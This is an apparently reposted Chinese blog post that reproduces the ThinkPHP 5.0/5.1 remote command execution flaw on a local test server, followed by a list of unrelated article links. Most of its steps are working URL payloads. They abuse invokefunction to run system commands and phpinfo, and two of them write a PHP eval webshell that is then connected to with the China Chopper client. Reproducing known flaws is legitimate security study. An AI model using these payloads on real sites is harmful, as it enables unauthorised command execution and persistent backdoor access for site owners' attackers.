ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
无数据库的详细域名查询程序PHP版(3)
Oct 09 PHP
php将数据库导出成excel的方法
May 07 PHP
发款php蜘蛛统计插件只要有mysql就可用
Oct 12 PHP
PHP优于Node.js的五大理由分享
Sep 15 PHP
php实现有趣的人品测试程序实例
Jun 08 PHP
PHP获取某个月最大天数(最后一天)的方法
Jul 29 PHP
php实现异步数据调用的方法
Dec 24 PHP
php PDO实现的事务回滚示例
Mar 23 PHP
PHP数组中头部和尾部添加元素的方法(array_unshift,array_push)
Apr 10 PHP
php图像验证码生成代码
Jun 08 PHP
Ajax请求PHP后台接口返回信息的实例代码
Aug 21 PHP
PHP pthreads v3在centos7平台下的安装与配置操作方法
Feb 21 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
什么是MVC,好东西啊
2007/05/03 PHP
PHP syntax error, unexpected $end 错误的一种原因及解决
2008/10/25 PHP
PHP 各种排序算法实现代码
2009/08/20 PHP
Codeigniter+PHPExcel实现导出数据到Excel文件
2014/06/12 PHP
php中in_array函数用法探究
2014/11/25 PHP
Windows下Apache + PHP SESSION丢失的解决过程全纪录
2015/04/07 PHP
PHP基于面向对象封装的分页类示例
2019/03/15 PHP
网站导致浏览器崩溃的原因总结(多款浏览器) 推荐
2010/04/15 Javascript
JSON.stringify 语法实例讲解
2012/03/14 Javascript
Javascript弹出窗口的各种方法总结
2013/11/11 Javascript
javascript操作excel生成报表全攻略
2014/05/04 Javascript
JS实现三级折叠菜单特效,其它级可自动收缩
2015/08/06 Javascript
Nodejs express框架一个工程中同时使用ejs模版和jade模版
2015/12/28 NodeJs
jQuery实现div随意拖动的实例代码(通用代码)
2016/01/28 Javascript
Java框架SSH结合Easyui控件实现省市县三级联动示例解析
2016/06/12 Javascript
jQuery Mobile漏洞会有跨站脚本攻击风险
2017/02/12 Javascript
vue基于viewer实现的图片查看器功能
2019/04/12 Javascript
SSM+layUI 根据登录信息显示不同的页面方法
2019/09/20 Javascript
[56:17]NB vs Infamous 2019国际邀请赛淘汰赛 败者组 BO3 第三场 8.22
2019/09/05 DOTA
python正则分析nginx的访问日志
2017/01/17 Python
mac 安装python网络请求包requests方法
2018/06/13 Python
解决Mac下首次安装pycharm无project interpreter的问题
2018/10/29 Python
pytorch对可变长度序列的处理方法详解
2018/12/08 Python
python正则表达式去除两个特殊字符间的内容方法
2018/12/24 Python
jupyter notebook oepncv 显示一张图像的实现
2020/04/24 Python
浅析Python 责任链设计模式
2020/09/11 Python
python 实现非极大值抑制算法(Non-maximum suppression, NMS)
2020/10/15 Python
python 统计list中各个元素出现的次数的几种方法
2021/02/20 Python
Booking.com西班牙:全球酒店预订
2018/03/30 全球购物
副科竞争上岗演讲稿
2014/05/12 职场文书
学校百日安全生产活动总结
2014/07/05 职场文书
我的中国梦演讲稿小学篇
2014/08/19 职场文书
校外活动方案
2014/08/28 职场文书
班子群众路线教育实践个人对照检查材料思想汇报
2014/09/30 职场文书
儿子满月酒致辞
2015/07/29 职场文书
《三国志》赏析
2019/08/27 职场文书